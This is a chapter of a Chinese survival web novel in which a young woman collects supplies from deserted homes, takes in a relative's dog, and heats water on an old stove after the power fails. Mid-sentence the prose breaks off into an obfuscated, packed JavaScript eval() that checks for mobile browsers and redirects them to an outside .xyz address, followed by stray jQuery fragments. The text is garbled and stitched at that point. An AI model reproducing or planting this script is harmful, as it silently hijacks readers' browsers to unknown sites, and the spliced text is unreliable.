“上班——”


    闹钟一响，风栖从床上弹起来，按掉闹钟。


    天刚蒙蒙亮，晨光穿透粉橘色碎花窗纱，照在风栖呆滞的脸上。


    发呆一会儿，重新倒下去。


    对哦，领导同事在外星，不用上班了。


    所以为什么昨晚忘了把闹钟关掉？醒了就睡不着了……


    风栖在床上滚来滚去，不情不愿掏出手机坐起来一看，除了移动营业厅自动发送的短信外，没有任何消息。


    她谈不上失望，开始思考，今天要干嘛来着？


    收拾昨天拉回来的物资，有好几车，还堆在小房间，还有……得去搜集一点书，蜡烛，煤、汽油什么的，再想想……


    想着想着风栖就又倒在了床上。


    好累，还没干活就累了。


    这不是懒惰，这只是心灵先一步身体进行了劳动导致疲惫。


    心灵劳动许久，天都从微亮变成明亮，风栖才慢吞吞拖着精神的躯体和疲惫的心灵从床上爬起来，真正开始了一天的身体劳动。


    决定了，这两天先以收集物资为主。收拾什么的，等闲下来再说吧，先把长期需要用的、暂时无法自己制作的东西都集齐，再慢慢规划。


    风栖很认真地做了一顿早饭，用家里剩下的荞麦面，加两个蛋，一个油煎一个水煮，撒上葱花、牛肉碎和干辣椒。很香，香的风栖认真吃完后又慢吞吞洗碗，还擦了一遍厨房的灶台，甚至把窗户也擦了一遍，才慢吞吞出门。


    哎，生活。


    哎，生下来就要干活。


    风栖先去五金店找了油桶，再去加油站把油桶加满，然后运到离家两公里远的邻居家里。一连跑了十几趟，把邻居家的几个房间装的满满当当，期间顺便收集了不少工具。


    至于怎么开门的，嗯……不可说。


    虽然许多地方没电了，但不知为什么信号一直还在，也许是有什么特殊保护机制？


    不清楚。


    总之风栖带了十几个充电宝，跟游戏开荒时一样搜索教程，想起需要什么就搜该从哪儿获得，然后搜地址导航。之后按着同样方法，如法炮制运了十几趟蜂窝煤、电池、各种常用药、酒精、消毒水等等，还有一些关于植物和农业的书籍。


    直到现在，风栖才发现自己对家乡了解甚少。


    她行驶在熟悉的不平整马路上，记得这条路一直在修，修了又修还是坑坑洼洼，因为总有货车喜欢往这过。


    她记得道路两边都是很传统的手艺店，编筐的、理发的、卖纸钱扎纸人的、卖饺子皮面点的榨花生油的……一路走过去，头油香面点香、花生鲜榨的喷香，混杂在两边老旧音响放出的沙哑歌声。


    但风栖也发现，自己从未真正了解过和自己生活在同一处小地方的人们，也从未深入了解过这片土地。


    他们更像是一串象征着家乡的符号。如今，又变成了一串自己都不清楚具体数目的消失人口中的一员。


    破门而入时，风栖甚至不敢看那些人留下的生活痕迹。照片、摆件、衣物等通通被她当做了杂物一股脑堆到最小的一间房间。这样她才能说服自己，这里不是别人的“家”，是她需要的仓库。


    她需要这些仓库。


    跑了一整天，和昨天一样累得够呛，顺道把这些空屋里的剩菜什么的都集中装箱，运到垃圾站一块儿扔了，水果零食一类就由她收走，以免腐烂发霉。


    她还收获了一条小狗，土黄色，毛短短的，尾巴断了半截，尾巴和耳朵尖尖都带点黑。


    风栖认识这条狗，名叫蛋黄。姑姑带她去吃某个亲戚的儿子婚宴，有个中年女人，姑姑让她叫表婶的，牵着它，和她们坐同一桌。表婶一边逗着蛋黄，一边和姑姑聊天，她也跟着喂了蛋黄一块鸡腿肉。


    她暴力破开表婶家门时，蛋黄冲上来想咬她，她叫一声名后又停住了，疑惑地在她腿边转来转去，嗅嗅闻闻，最后咬住她裤脚往房间里拖。


    真好。


    它还记得自己。


    风栖顺着力道进房间，蛋黄在床上呜呜汪汪地跳来跳去，十分焦躁。


    风栖明白了什么，蹲下去抱住这只土黄色圆眼睛的小狗：“蛋黄，表婶不在家，不回来了。”


    “你先跟着我，好不好？表婶回来了我就送你回去。”


    哄骗许久，蛋黄总算肯跳上车门，趴在她脚边，喉咙里依旧发出委屈低沉的呜汪声。风栖忍不住把它抱到腿上边摸边开车。


    “好乖，乖蛋黄，不怕。”风栖摸着它的耳朵，低低地哄。


    她心中冷静地想：她还需要几条狗，要小一点的狗，从小养到大，这样才能保护她，不会咬她。


    现在没有医院，打不了狂犬疫苗，她不能受伤。


    还要一些家禽牲畜，光靠老家那口鱼塘的鱼不行。


    又到了太阳快落山，风栖才回到家。她先把蛋黄放出来，任由它在院子里撒欢跑跳。风栖自己没吃多少东西，但还是找出冻肉，解冻后水煮了喂给它吃。


    蛋黄吃饱喝足，很开心，甩着小尾巴围在她脚边转，声音又嫩又响亮，和她一块进进出出，做出一副很忙碌的样子。


    一人一狗吃完晚饭，风栖搬出躺椅躺在院子里，翻看自己白天拍的照片，和前一天做对比。


    不是错觉，仅仅一天而已，绿植变得更茂密了，马路本该是平整的，路面也冒出了星点绿意。


    野生动物也变多了。


    昨天只能见到流浪猫狗，今天……风栖隐约看到了不认识的动物的影子，她可以肯定那绝对不是猫狗，还有辨不清物种的鸟，哗啦啦一大群从空中飞过。


    这才一天而已，再过几天，又会变成什么样？


    家里已经没电了。


    风栖不确定是什么缘故，可能和她路上看见的断裂的电线有关，也可能是发电厂没有人维护？


    总之，没电用了。


    天黑后，风栖点了很多蜡烛，她还特地去超市搬了一些圆口玻璃罐，把蜡烛放进去，当做灯笼照明。


    昨天热水器还能用，今天没电，自然也没热水了。


    好在当初因为爷爷奶奶坚持，老房子里还保留着土灶，铁锅大到足足方圆一平米，铁锅炖自己都没问题。


    风栖还记得，小时候爷爷奶奶把她放在锅里洗澡。下面炉子里噼里啪啦烧柴火，上面水咕噜咕噜冒泡。每次她都很担心，趴在锅边问奶奶自己会不会煮熟。


    想到这风栖忍不住笑了，举灯看外面好像没什么危险，小心翼翼带着蛋黄去隔壁邻居家打水。


    隔壁邻居院子里有一口井，不知是哪一年打的，好像自从房子盖成以前就有了。屋主是一对开餐馆的中年夫妻，就是那种


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640577|172690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    国道边的夫妻店小饭馆，没有菜单，里面摆两个冰柜放着食材，来往的司机就看着食材点菜。风栖很爱这种餐馆，平日出差回来都会特地去吃几顿。现在是吃不到了……


    不能再想了！


    风栖摸了把蛋黄的毛，专心打水。她力气不够，只能半桶半桶地倒进大桶里，再用小推车往回推。蛋黄跟在她身边欢蹦乱跳，见她把水倒进锅里，伏下半边身子伸出小舌头吧唧吧唧地舔流水。


    “这不是给你喝的！”风栖把蛋黄抱开，倒了一碗水给它。


    蛋黄看都不看那碗水，装得乖乖的，等风栖弯下腰舀水又探头去舔。


    风栖弹一下它的鼻子：“你说你，和小破孩有什么区别？越不让做的事越来劲。”


    蛋黄满眼无辜，被弹了几下鼻子后呜呜汪汪跑开了。


    就着烛光，风栖倒好满锅的水，估计着差不多了，蹲下去想点火。


    蜡烛烧在蜂窝煤上，风栖才发现自己又干了蠢事。


    以前奶奶烧火时，都要先用好点着的东西当火引子。她记得，有些时候是报纸，更多是一种有点儿枯的，叫不出名字的草，黄黄的，一点就着。


    风栖叹口气：“蛋黄，你在这里看着……算了，你和我一起去。”抱着蛋黄进房间。


    风栖爸爸盖的三层自建房，每层四室一厅两卫，原本一楼是留给她堂弟的，不过她堂弟就没打算留在乡里，就算这样她爸也留着一楼不让动，如今阴差阳错给她省了不少事，正好把家人的杂物全都堆在一楼大房间主卧。


    风栖从一堆杂物里翻出不要的旧作业纸，拿去当火引子，担心点不着蜂窝煤，又敲碎了其中一块，用纸团子包着丢进火里。


    想了下，风栖又倒了一点点油。


    应该没……


    火苗猛的蹿起来，还好风栖退得快，要不刘海都给燎光了。


    风栖盯着炉子，好在这回没再出幺蛾子，火慢慢变小，最后稳定下来。铁钎子伸进去拨弄，蔑编扇子扇风，煤块边缘慢慢发红，红迹渐渐往里渗，整个炉子的温度终于升了起来。


    五月底的天，放在南方已经够热了，更别提还要蹲在火炉边，还有一团毛绒绒热乎乎的小狗非要往怀里钻。风栖很快就热的衣服头发都湿了，再看蛋黄也热得吐舌头，忙抱着小黄狗站在厨房门口吹风。


    盯着火光看过后，再看别的东西都会感觉太暗，眼睛酸涩得像被砂纸磨过，风栖揉着眼睛，拿手机自拍当镜子照过，眼圈果然红了，可能是刚才进了灰。


    只是烧个水而已，这还是准备了煤，都不用自己去砍柴呢，放在古代，许多老百姓甚至都用不上热水，该知足了。再说了，一开始不是做好了像古人那样生活的准备吗？


    风栖边揉眼睛，边像老人家念叨恨铁不成钢晚辈那样碎碎念，慢慢的，平静下来，重新回到炉子旁摇扇子给自己扇风。


    没办法，不这么想还能怎么办？抱怨要是有用，她早就成富婆了。


    估摸着水温差不多了，风栖把小黄狗赶出厨房，舀了水兑在盆里，洗了个痛快。


    她没料到蛋黄一直在门口等她，推开门时差点踩到这只小狗。她赶忙抱起蛋黄，不顾自己才洗干净，她听见自己的声音格外温柔。


    “蛋黄，你是在保护我吗？”


    蛋黄舔了一下她的手指，欢快地甩起尾巴来。